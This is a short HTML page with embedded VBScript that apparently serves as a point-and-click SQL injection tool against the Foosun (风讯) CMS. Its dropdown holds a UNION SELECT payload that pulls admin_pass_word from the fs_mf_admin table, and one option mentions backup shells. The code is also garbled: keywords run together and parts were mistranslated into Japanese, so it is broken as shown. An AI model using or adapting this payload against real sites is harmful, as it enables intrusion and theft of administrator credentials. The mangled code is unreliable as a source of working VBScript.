<scriptlanguage = "vbscript">
subwindow_onload
window.resizeto450,380
window.moveto300,300
Endingub
</script>
<scriptlanguage = "vbscript">
functiongethttppage(パス)
t = getBody(パス)
gethttppage = bytestobstr(t、 "gb2312")
document.getElementById( "url")。innertext = gethttppage
エンド機能
</script>
<scriptlanguage = "vbscript">
functiongetbody(url)
onerrorresumenext
setretrieval = createObject( "microsoft.xmlhttp")
withretrieval
.Open "Get"、url、false ""、 "
。送信
GetBody = .ResponseBody
終わりに
setretrieval =何もない
エンド機能
functionbytestobstr(body、cset)
DimobjStream
setobjstream = createObject( "adodb.stream")
objstream.type = 1
objstream.mode = 3
objstream.open
objstream.writebody
objstream.position = 0
objstream.type = 2
objstream.charset = cset
bytestobstr = objstream.readtext
objstream.close
setobjstream =何もない
エンド機能
</script>
<title> bylcx </title>
<inputId = "urlcode" name = "urlcode" size = "60" value = "http://
<selectid = "sql" name = "sql" onchange = vbs:gethttppage(document.getelementbyid( "urlcode")。value+document.getElementbyId( "sql")。値)>
<optionValue = "">风讯sql版注入、至于其它备份シェル</option>
<optionValue = "?equvalue = 1&reqsql = select%201、admin_pass_word、3,4,5,6,7,8,9,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,27,27、27、27、27、 28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20fs_mf_admin%20